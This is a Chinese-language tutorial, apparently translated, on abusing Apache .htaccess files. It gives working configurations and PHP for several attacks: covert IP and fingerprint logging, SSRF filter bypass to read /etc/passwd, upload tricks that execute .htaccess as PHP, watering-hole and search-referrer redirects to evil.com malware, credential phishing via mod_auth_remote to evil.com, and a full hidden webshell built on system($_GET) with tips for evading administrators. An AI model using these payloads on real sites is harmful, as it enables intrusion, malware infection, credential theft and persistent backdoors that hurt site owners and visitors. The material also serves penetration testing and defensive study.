htaccess文件的利用技巧

本教程將介紹如何在基於Web的環境中使用.htaccess進行滲透利用。它將詳細介紹幾種不同的技術,其中一些技術對於滲透測試和漏洞分析中非常有用,還有一些能夠受到惡意濫用時將損失降低。文章還介紹了黑客可以用來進行水坑式攻擊或者利用惡意軟體感染入侵網站用戶的方法。本文還將詳細介紹攻擊者濫用htaccess來進行獲取利益的技巧。

這是關於使用htaccess進行開發的兩部分系列的第一部分。我將在這裡介紹一些基本的、眾所周知的方法,還有一些鮮為人知的方法。在第2部分中,我將通過使用htaccess來開發更高級的開發方法。

在本指南中,我將嘗試解釋.htaccess的各種非常規用法,這些用法對於滲透測試和後滲透攻擊非常有用。我假設大多數讀者會對.htaccess有所了解,但是對於那些不了解的人我會提供一個簡短的解釋。不管你對htaccess規則是否熟悉,我都希望這些內容很容易被大家掌握。

我將要介紹的內容中有一些方法有點過時了,但是其中很多依舊在使用著,並且即使是過時的方法,當攻擊者在攻擊一台沒有對軟體及時更新的機器,也是可以成功利用的。

對於那些不熟悉.htaccess的人,這裡是一個簡短的解釋(來自htmlgoodies.com,):

htaccess是超文本訪問(Hypertext Access)的縮寫,是一個基於Apache的Web伺服器使用的配置文件,用於控制它所在的目錄以及該目錄下的所有子目錄。

很多時候,如果你已經安裝了內容管理系統(CMS),比如Drupal,Joomla或者Wordpress,你可能會遇到.htaccess文件。 一般來說你不需要編輯它,但這個文件是你上傳到Web伺服器的文件之一。

.htaccess文件的主要功能包括使用密碼保護文件夾,禁止或允許用戶使用IP地址訪問,禁止目錄瀏覽,將用戶自動重定向到另一個頁面或目錄,創建和使用自定義錯誤頁面,改變具有特定擴展名的文件的使用方式,或者通過指定文件擴展名或特定文件作為主頁。

簡而言之,這是一套包含在您的網路伺服器上的規則(在一個名為.htaccess的文件中),它允許您執行諸如使用密碼保護目錄或為擴展創建別名等選項,例如,如果您有一個頁面 site.com/something/file 你可以設置一個htaccess的規則,以便當頁面載入時,將使用戶site.com/something/file (隱藏擴展名) - 或者你 可以使用它來做一些像302重定向一個頁面到另一個或HTTP 403的目錄。

下面是一個htaccess文件的例子:

### MAIN DEFAULTSOptions +ExecCGI -IndexesDirectoryIndex index.html index.htm index.phpDefaultLanguage en-USAddDefaultCharset UTF-8ServerSignature Off

有趣的是,你需要在所有.htaccess文件中添加ServerSignature

Off指令,因為這樣的話可以阻止在目錄列表上顯示你的伺服器信息(這使得攻擊者的偵察階段會有非常明顯的提示)。所以說,這個時候最好通過你的httpd.conf來完成對web服務的控制,而不是你的htaccess文件。

我將主要關注的重點放在.htaccess(mod_rewrite)中的apache的重寫模塊,這個模塊允許重定向發生。 那麼,我們開始吧。

用連續的彈出窗口騷擾互聯網用戶

我將要討論的第一種方法是如何在他們試圖利用的站點上濫用mod_rewrites來連續彈出窗口。

這是一個非常簡單的方法,您可以將圖像上傳到伺服器,然後使用htaccess文件來利用密碼保護目錄,並將該圖像重定向到該密碼保護的目錄中的文件。 除了.htaccess之外,還需要一個.htpasswd文件,它將包含密碼保護目錄的登錄憑證。

這個方法只是一個有趣的,沒有任何實際價值,但我曾經看到它在以前的流行論壇上被利用,它是非常有效的。

為了演示這個例子,我們假設我們有兩個文件,lol.jpg和umad.jpg,其中lol.jpg存儲在一個公共目錄中,umad.jpg存儲在一個受密碼保護的目錄中。

這裡對應的.htaccess文件應該是類似與這樣:

Options +FollowSymlinksRewriteEngine onRewriteRule lol.jpg /protected-directory/umad.jpg [NC]AuthUserFile /home/usr/.htpasswdAuthName 「r u mad tho」AuthType Basicrequire user lolololololol

除此之外,您還需要設置一個如下所示的.htpasswd文件:

username:encryptedPass

在這個實例中的用戶名需要匹配你添加到你的.htaccess文件的用戶名。至於加密的密碼,這是通過PHP的crypt()函數生成的。如果您不想使用PHP,則還可以使用聯機生成器來加密.htpasswd文件中的密碼值。

然後你可以在論壇上設置路徑為lol.jpg作為你的簽名,每次有人查看你的線程,或者每當你在一個線程中發帖時,都會在屏幕上反覆彈出,提示輸入用戶名/

密碼,可以讓人非常討厭。 當然這裡也不一定是一個論壇。

如果你在任何形式的網站上有自定義頭像或個人資料圖片的選項,那麼您也可以使用這種方法(假設它允許您從遠程URL設置您的個人資料圖像,而不僅僅是通過文件上傳

形式) 。

任何瀏覽器渲染你的圖像後,將被密碼提示框反覆彈窗。

這種利用方式可以用於像論壇簽名,個人資料頭像,或幾乎所有的帶圖像上傳功能,允許用戶從遠程URL抓取圖像的網站。

不與用戶交互的情況下識別瀏覽器指紋和記錄IP地址

這種方法也是利用重定向的技巧,它可以讓你在用戶不知情的情況下跟蹤人們的IP地址(或者通過執行PHP代碼來完成任何你可以做的事情)。這將允許您以隱身方式執行瀏覽器指紋識別,通常目標完全發現不了。

這個例子又是一個簡單的mod重寫,唯一的區別是我們在這裡重定向到一個PHP文件,而不是密碼保護目錄:

Options +FollowSymlinksRewriteEngine onRewriteRule lol.jpg /path/to/evil.php [NC]

假設攻擊者在其伺服器上有兩個文件,lol.jpg是一個完全無害的圖像文件,evil.php是一個用於信息收集的PHP腳本。

現在,這裡的利用思路是欺騙伺服器認為已經包含了有效的圖像。從伺服器的角度來看,它向圖片文件發出請求。當它重定向到PHP腳本時,沒有看到有效的圖像,所以伺服器通常不會在頁面上包含圖像(所以不會執行PHP)。

然而,我們可以使用PHP動態圖像欺騙伺服器,讓伺服器認為它包括lol.jpg而不是邪惡.php

-

我們可以讓PHP腳本輸出一個圖像,它也會運行任何惡意代碼(在這個例子中是記錄IP地址)。這可以通過imagecreate()函數來實現,這裡是一個例子:

<?php$log = log.htm;$ip = $_SERVER[REMOTE_ADDR];$page = $_SERVER[REQUEST_URI];$refer = $_SERVER[HTTP_REFERER];$date_time = date("l j F Y g:ia", time() - date("Z")) ;$agent = $_SERVER[HTTP_USER_AGENT];$fp = fopen("log.htm", "a"); fputs($fp, "<b>$date_time</b><br> <b>IP: </b>$ip<br> <b>Page: </b>$page<br> <b>Refer: </b>$refer<br> <b>Useragent:</b>$agent <br><br>"); flock($fp, 3); fclose($fp); $my_img = imagecreate( 200, 80 ); $background = imagecolorallocate( $my_img, 255, 0, 255 ); $text_colour = imagecolorallocate( $my_img, 200, 200, 0 ); $line_colour = imagecolorallocate( $my_img, 128, 255, 0 ); imagestring( $my_img, 4, 30, 25, "Totally an innocent image", $text_colour ); imagesetthickness ( $my_img, 5 ); imageline( $my_img, 30, 45, 165, 45, $line_colour ); header( "Content-type: image/png" ); imagepng( $my_img ); imagecolordeallocate( $line_color ); imagecolordeallocate( $text_color ); imagecolordeallocate( $background ); imagedestroy( $my_img );?>

因為$ _SERVER [HTTP_USER_AGENT]; 是可以由用戶控制的輸入,所以這種使用.htm擴展記錄收集到的信息會讓你受到XSS注入攻擊,我使用這個格式主要是用于格式化的目的。 如果它讓你感到困惑,那麼只需將.htm擴展名變成.txt

在上面的例子中,一旦圖像在用戶瀏覽器中被渲染,它將把用戶的網路代理,IP地址,引用者頭部和用於指紋識別的其他有用信息寫入攻擊者伺服器上的文件。 這將允許攻擊者獲取關於用戶位置的信息,甚至可以製作量身定製的有效載荷以攻擊用戶的瀏覽器。

因此,如果有一個網站,允許你使用遠程URL設置你的個人資料圖像,那麼你可以包括lol.jpg作為你的頭像,然後利用htaccess重定向到PHP腳本,同時輸出一個圖像。欺騙伺服器,使其講evil.php當做lol.jpg,最終包含圖像作為您的個人資料圖片,同時執行任何其他的PHP代碼,與它一起運行(在這種情況下記錄的IP地址和用戶代理

任何人查看您的個人資料)。 當然除了使用重寫規則之外,還可以使用AddType來達到相同的效果.

繞過WEB漏洞的過濾規則

對於基於Web的漏洞,htaccess有幾個用於繞過過濾的用法。 我將在本文中討論的兩個攻擊向量是伺服器端請求偽造和任意文件上傳。

伺服器端請求偽造

對於那些不熟悉SSRF的人來說,它允許您使用各種URI方案來查看本地資源,而不是請求遠程資源,例如,像http://example.com/vuln.php?url=http://somesite.com

,那麼你可以把?url =這裡的GET參數改成localhost來探測關於特定埠上運行的服務的信息,例如:

http://127.0.0.1:3306

這將暴露關於在有漏洞的伺服器上運行的MySQL守護進程的信息

file:/etc/passwd

這將允許攻擊者通過SSRF實現本地文件泄露,從而允許他們讀取本地系統文件的內容。

一般來說,大多數安全的網站都會有過濾器來防止SSRF發生。

SSRF有許多旁路方法,但我將專註於只允許輸入為遠程資源或有效(或看似有效)URL的上下文。

因此,假設攻擊者在嘗試重定向到localhost、127.0.0.1、0.0.0.0或file://時將被列入黑名單,那麼他們可以使用htaccess設置mod_rewrite,如下所示:

Options +FollowSymlinksRewriteEngine onRewriteRule lol.jpg http://127.0.0.1:3306 [NC]

或讀取本地文件:

Options +FollowSymlinksRewriteEngine onRewriteRule lol.jpg file:/etc/passwd [NC]

當然,這個技術也可以用來實現RCE,假設目標伺服器上存在脆弱的服務,如sftp,gopher,memcached或類似的東西。

這可能會繞過任何黑名單,因為您可以添加http://example.com/lol.jpg

作為易受攻擊的腳本的輸入,然後易受攻擊的腳本可以請求127.0.0.1:3306 或file:/etc/passwd

。在原始請求http://example.com/lol.jpg 之後 -

導致SSRF被利用並且繞過過濾器(在本例中獲取了MySQL版本或輸出passwd)

不過在有很多情況下,這種方式是行不通的,但是我之前用它成功的進行過很多測試。

任意文件上傳

除了在SSRF中使用,在某些情況下.htaccess也可以被濫用於任意文件上傳。假設一個情景,一個易受攻擊的網站有一個基於黑名單過濾器的文件上傳表單(阻止諸如.php或.phtml的特定擴展名),那麼在某些情況下,可以上傳一個.htaccess文件,

導致不同程度的後果。

htaccess有一個默認的拒絕規則,防止它通過互聯網訪問。 如果攻擊者有能力覆蓋htaccess,他們需要做的第一件事就是禁用拒絕規則,以便通過定位到相關的URL路徑來訪問它,為此,攻擊者將上傳一個htaccess文件,該文件的內容類似於如下:

<Files ~ 「^.ht」># overriding deny rule# making htaccess accessible from the internetRequire all grantedOrder allow,denyAllow from all</Files>

現在這意味著攻擊者只需導航到URL(site.com/.htaccess

)即可自由查看htaccess。如果攻擊者有能力覆蓋正在使用的當前.htaccess文件,並用自己的替換,那麼這將允許他們在伺服器上執行各種攻擊,從應用程序級的DoS到全面的遠程命令執行。

這是否工作依賴於哪個apache模塊被啟用。

如果啟用了mod_info和mod_status等模塊,則攻擊者可以分別執行信息泄露和遠程命令執行。

一旦攻擊者重寫了網站的原始htaccess文件並禁用了默認的拒絕規則,他們就可以通過將以下行添加到自定義的htaccess文件來執行遠程命令:

AddType application/x-httpd-php .htaccess

這將使伺服器將htaccess文件視為PHP腳本,並與上述方法配合,以覆蓋易受攻擊的伺服器原始htaccess文件,然後攻擊者可以導航到存儲htaccess文件的URL,以便執行

PHP代碼。 攻擊者製作的有效載荷將以htaccess文件中的注釋形式出現,例如:

AddType application/x-httpd-php .htaccess# <?php echo 「get pwned」; ?>

當然,這不僅限於PHP。你可以使用相同的方法來生成一個JSP腳本文件或類似的東西(全部取決於在伺服器上運行的是哪種技術) - 為了做到這一點,我們需要改變AddType的值以符合所希望的代碼執行。

如果出於某種原因,即使禁用拒絕規則(例如,由於HTTP守護進程或CMS特定配置文件的外部配置),也不允許訪問htaccess,攻擊者可以改用AddType設置一個更「無辜的」文件,如將一個JPG視為一個PHP文件。然後,可以在JPG圖像中包含一些惡意PHP代碼,上傳圖像,並導航到圖像存儲路徑,以便執行代碼。

如果攻擊者利用Windows8.3(SFN)文件名慣例的過時系統,則有可能規避基於黑名單的過濾器,該過濾器正在停止上傳名為「htaccess」的文件。

.htaccess的簡稱可以用在這種情況下。一個攻擊者可以上傳一個名為「HTACCE?1」的文件,如果8.3文件名慣例正在使用,那麼這將等於上傳一個名為「.htaccess」的文件

- 假設這些文件名慣例正在使用中(現在不太常見),這可以用於繞過基於簽名的過濾器和用於文件上傳功能的黑名單。

水坑攻擊以及利用惡意軟體感染大量用戶

如果攻擊者設法攻擊一個網站並且具有有限的(非根)訪問許可權,但是仍然能夠對htaccess進行修改,那麼這可以使用方法進行滲透利用。我將要介紹的第一個例子是攻擊者可以修改htaccess來作為一個實際的水坑攻擊。

如果攻擊者有一個他們想要的攻擊的特定目標,他們知道該

用戶的IP地址,以及用戶經常瀏覽的網站,如果攻擊者有能力編輯或覆蓋htaccess文件的受害者經常訪問的網站,就可以發動水坑攻擊(通過部分訪問或通過任意文件上傳的方式覆蓋當前htaccess文件的能力)。

讓我們假設攻擊者有一個目標,並知道他們的IP地址是151.121.2.69,他們經常訪問一個名為http://example.com的網站

- 如果攻擊者發現一個方法來覆蓋http://example.com的htaccess文件,那麼他們可以像這樣設置一個htaccess規則:

RewriteCond %{REMOTE_ADDR} ^151.121.2.69$RewriteCond %{REQUEST_URI} !/GetHacked.phpRewriteRule .*.(htm|html|php)$ /GetHacked.php [R,L]

通過上面的例子,任何訪問http://example.com的普通用戶都可以正常瀏覽網站。如果受害者訪問http://example.com,他們將被重定向到GetHacked.php(當然實際上比這個更加隱蔽,這裡只是一個例子)。

一般來說,受害者將被重定向到的頁面看起來與他們打算在設計方面連接到的站點完全相同(並且將具有相同的域名),但是他們將被重定向到網站上單獨的,獨特的頁面,然後這個網站會提供惡意軟體,hook用戶的瀏覽器,或者通過零日漏洞利用他們的瀏覽器。

如果一切順利,受害者完全不會意識到任何異常事情的發生。他們將像往常一樣繼續瀏覽網站,不知道他們已經成為水坑攻擊的受害者。如果計劃得當,這可能會導致一個高度複雜的,有針對性的對某人的襲擊,並且用戶完全不知道發生了什麼事情。

雖然我剛剛描述的方法是針對特定受害者的有針對性的漏洞攻擊,也可以通過一系列的重寫規則,向網站的用戶群提供惡意軟體。這通常是通過檢查引用者頭部來查看用戶來自哪個站點,並基於此將其重定向到惡意軟體來實現的。

通常,想要傳播惡意軟體的攻擊者可以獲取一個受歡迎的網站的許可權,然後為htaccess創建一些重寫規則,從而使任何來自流行搜索引擎訪問該網站的人都被重定向到惡意軟體或瀏覽器漏洞利用。這可以這樣實現:

RewriteEngine OnRewriteCond %{HTTP_REFERER} .*google.* [OR]RewriteCond %{HTTP_REFERER} .*ask.* [OR]RewriteCond %{HTTP_REFERER} .*bing.* [OR]RewriteCond %{HTTP_REFERER} .*aol.* [OR]RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]RewriteCond %{HTTP_REFERER} .*duckduckgo.* [OR]RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]RewriteCond %{HTTP_REFERER} .*baidu.*RewriteRule ^(.*)$ http://evil.com/malware.ext [R=301,L]

惡意黑客除了攻擊網站並修改易受攻擊的網站的htaccess文件以傳播惡意軟體或構建殭屍網路之外,此技術的另一個常見應用是將流量推送到支付流量的網站。如果一個黑客想侵入一些流行的網站並修改他們的htaccess文件來設置重定向規則,那麼他們可以使得從搜索引擎到達的所有訪問者都被重定向到黑客選擇的站點。

這是在黑客社區賺錢的一種流行方式,因為許多網站將流量推送到他們的域名,黑客通過修改排名靠前的Alexa或Google

PR排名的網站的htaccess文件的方式,將大量的流量轉換成高額的報酬。

另外需要注意的是,通過在你自己的網站上使用htaccess規則,也可以作為一個防禦機制。例如,想像一下你目前正在運營一個網站,並且您知道在線黑客論壇的用戶正在嘗試定位您的網站,那麼你可以設置htaccess規則,以便任何從惡意網站直接進入您網站的人都被重定向到惡意軟體,並在有機會造成任何損害之前先行反擊。如果你知道來自evil-site.com的人正試圖定位你的網站,那麼你可以設置一個htaccess規則,如下所示:

RewriteEngine OnRewriteCond %{HTTP_REFERER} .*evil-site.comRewriteRule ^(.*)$ http://hack-the-hackers.com/malware.ext [R=301,L]

除了上述用惡意軟體感染站點用戶的方法之外,通過使用錯誤頁面也可以實現類似的事情。 您可以添加htaccess規則,以便在觸發常見的HTTP狀態碼錯誤時將用戶重定向到惡意軟體:

ErrorDocument 403 http://evil.com/payload.phpErrorDocument 404 http://evil.com/payload.phpErrorDocument 500 http://evil.com/payload.php

通過htaccess進行信息泄露

通過htaccess文件有兩種主要的信息泄露形式。 一種需要訪問受感染的伺服器,另一種不需要。

由於伺服器配置錯誤或缺少默認的拒絕規則,有時htaccess文件可以被任何人讀取。

進行滲透測試時,檢查htaccess是否可讀是非常有用的(10次中有9次不會),所以你可以看到哪些重寫規則以及其他限制或設置。

你會驚訝的發現信息可以被泄露,你會驚訝於你會經常遇到不能正確配置他們的伺服器或HTTP 403的htaccess文件。如下:

谷歌索引的大多數網站都有可讀的.htaccess文件

檢查你是否可以在正在執行審核的網站上對.htaccess文件進行讀操作是十分有用的。 要執行此操作,只需導航到你正在測試的網站上的以下URL:

http://example.com/.htaccess

通常情況下,你將收到一個HTTP 403響應,但在某些情況下,你將有許可權讀取.htaccess 。還值得指出的是,該文件可能並不一定是被命名為.htaccess,有幾個常見的變化需要注意:

  • OLD.htaccess
  • 1.htaccess
  • dot.htaccess
  • backup.htaccess
  • _.htaccess
  • -.htaccess

除此之外,htaccess將成為特定CMS內的文本文件(一些例子是Joomla和OpenCart) - 所以根據伺服器運行的CMS,有時候檢查htaccess.txt是否可讀十分有必要。 這裡是一個例子(在Joomla安裝):

http://www.nationalcrimeagency.gov.uk/htaccess.txt

通過.htaccess進行信息泄露的第二個版本便是在攻擊者對伺服器的訪問受限的情況下進行的。

我們假設他們不能編輯文件或執行其他操作,但是他們可以編輯.htaccess(或者通過任意文件上傳的方式來替換htaccess)。

除了繞過諸如PHP安全模式和產生shell之類的限制之外,它還可以用於在伺服器上泄露信息以便進一步幫助攻擊。

假設系統調用被禁用,並且濫用htaccess修改php.ini(以啟用系統調用)的方法不起作用,那麼信息泄露可能是攻擊者的下一個行動過程。

假設你可以通過一個惡意的htaccess文件來執行PHP代碼,那麼通過PHP的功能就可以使用明顯的信息泄露手段。

假設你沒有執行系統調用的能力,但仍然可以執行PHP,那麼最明顯的信息披露形式就是通過使用phpinfo函數。

您將首先覆蓋如前所述的拒絕規則,然後您將導航到htaccess所在的URL以顯示phpinfo(顯示你的PHP版本,內核版本和其他有用的信息):

AddType application/x-httpd-php .htaccess# <?php phpinfo(); ?>

另一種可能性(儘管sysadmin很容易檢測到)是,您可以更改伺服器端腳本的內容類型,從而允許攻擊者讀取PHP文件的源代碼。這意味著他們將有能力在網站上執行源代碼審計,使他們有可能發現更多的漏洞:

<FilesMatch 「.ph.*$」>SetHandler text/plainAddType text/plain .php</FilesMatch>

如果攻擊者的目標是隱藏自己,那麼這可能不是最好的選擇。這可以通過將AddType

text/plain

filename.php設置為他們希望查看源代碼的特定文件的名稱,從而達到隱蔽的目的。一次只做一個文件會大大降低系統管理員檢測到某些事情發生的機會(如果他們網站上的每個頁面泄露其源代碼供任何人看到,那麼他們就會明顯感覺到錯誤)。

假設攻擊者具有有限的訪問許可權,並且缺少對PHP文件的讀取許可權,那麼這可能是非常有價值的,因為這將使他們找到更多的關鍵漏洞,最終使他們能夠提升許可權並獲得更高的訪問級別。

還可以通過使用SetHandler指令和將以下幾行添加到惡意htaccess文件中,從而披露 server-status和server-info:

SetHandler server-statusSetHandler server-info

這將泄漏關於伺服器的有用信息,以及連接到伺服器的所有用戶的IP地址。

根據在目標網站上運行的技術,SetHandler還可以用於披露其他類型的信息(例如,有關LDAP配置的信息或諸如caucho-status之類的信息

- 這不會太常見,因為java

servlet實際上總是通過Tomcat內的Apache而不是Resin來處理,但Tomcat和其他技術也有相應的功能)。

描述的用於執行瀏覽器指紋識別和IP記錄用戶的方法也可用於信息泄露。

PHP動態鏡像可以與託管在你自己的伺服器上的htaccess文件結合使用,然後攻擊者可以將URL輸入到目標伺服器上某處的映像,從而導致目標伺服器請求鏡像和返回的目標伺服器的IP地址寫入攻擊者伺服器上的日誌文件。

這可以用來繞過像Cloudflare這樣的服務,以便揭示伺服器的真實IP地址。

通過網上釣魚獲取登錄憑據

攻擊者可以通過幾種不同的方式使用htaccess來獲取登錄憑據和對用戶實施釣魚。

我在這裡討論的方法是通過使用ErrorDocument進行魚叉式釣魚 - 除了能夠通過使用自定義錯誤文檔來提供惡意軟體外,還可以使用HTML /

CSS / JS創建文檔,這意味著某些人可以輕鬆創建iframe 網路釣魚來獲取證書,這就像:

ErrorDocument 403 <YourHtmlCode>

當用戶到達403頁(或者攻擊者選擇設置的任何HTTP狀態碼)時,他們可以通過使用iframe或document.write()來創建假登錄頁面,誘騙用戶的憑證。

另一種通過在受損站點上修改htaccess來進行網路釣魚的方法是通過用戶名/密碼框提示用戶,然後將輸入的憑證發送到由攻擊者控制的遠程伺服器,這裡是由wireghoul 創建的htaccess文件,便做到這一點:

#此文件將提示用戶輸入用戶名和密碼以明文形式(http basic auth)將證書發送到您的伺服器#你將需要編輯這個文件並創建一個腳本來收集伺服器上的憑據AuthType BasicAuthName 「」AuthRemoteServer evil.comAuthRemotePort 80AuthRemoteURL /phish/require valid-user#您的腳本需要返回相應的401或200 OK響應代碼到mod_auth_remote模塊。

在這個博客系列的第2部分中,我將解釋一些利用htaccess的獨特和複雜的網路釣魚方法,這幾乎是無法察覺的。

使用htaccess來產生一個shell

如果攻擊者對他們試圖鎖定的伺服器的訪問許可權有限,或者是一個允許他們覆蓋當前存在的htaccess文件的漏洞,那麼可以使用前面描述的方法將htaccess變成一個基於web的HTTP

GET

shell。有時即使攻擊者已經擁有對伺服器的shell訪問許可權,但是為了維護對其原始shell的訪問許可權,防止被檢測和刪除,他們可能需要向htaccess添加額外的shell。

下面是一個功能齊全的產生shell的htaccess文件的例子:

#htaccess後門shell#這是比較典型的webshell相對隱身#覆蓋拒絕規則,使htaccess可以從互聯網上訪問,沒有這個,你會得到一個HTTP 403<Files ~ 「^.ht」>Require all grantedOrder allow,denyAllow from all</Files>#使伺服器將.htaccess文件作為.php文件AddType application/x-httpd-php .htaccess# <?php system($_GET[『hax』]); ?>#要執行您將導航到的命令:# http://vulnerable.com/.htaccess?hax=YourCommand#如果system不能使用,然後嘗試其他系統調用,例如passthru(); shell_exec();等等#如果你仍然不能執行系統調用,請嘗試通過htaccess繞過php.ini

一般來說,如果攻擊者使用htaccess作為維護shell訪問受感染站點的手段,那麼他們會在htaccess文件中添加某種形式的填充/空格或附加(無害)指令,使其長度更長,以至於系統管理員可能會注意到他們的htaccess文件中存在的任何可疑的PHP代碼。對於更加隱蔽的htaccess shell,我建議將非字母數字組合放入您的PHP代碼中(我將在即將發布的博客文章中介紹有關維護訪問受損伺服器方法的非字母數字主題)。

另外,對於在PHP不可用的情況下可以在htaccess中使用的各種形式的shell的完整列表,我強烈建議查看wireghoul的「htshells」存儲庫。

本文由看雪翻譯小組 skeep 編譯 轉載請註明來自看雪社區


推薦閱讀:

TAG:htaccess | 網路滲透 | 惡意軟體 |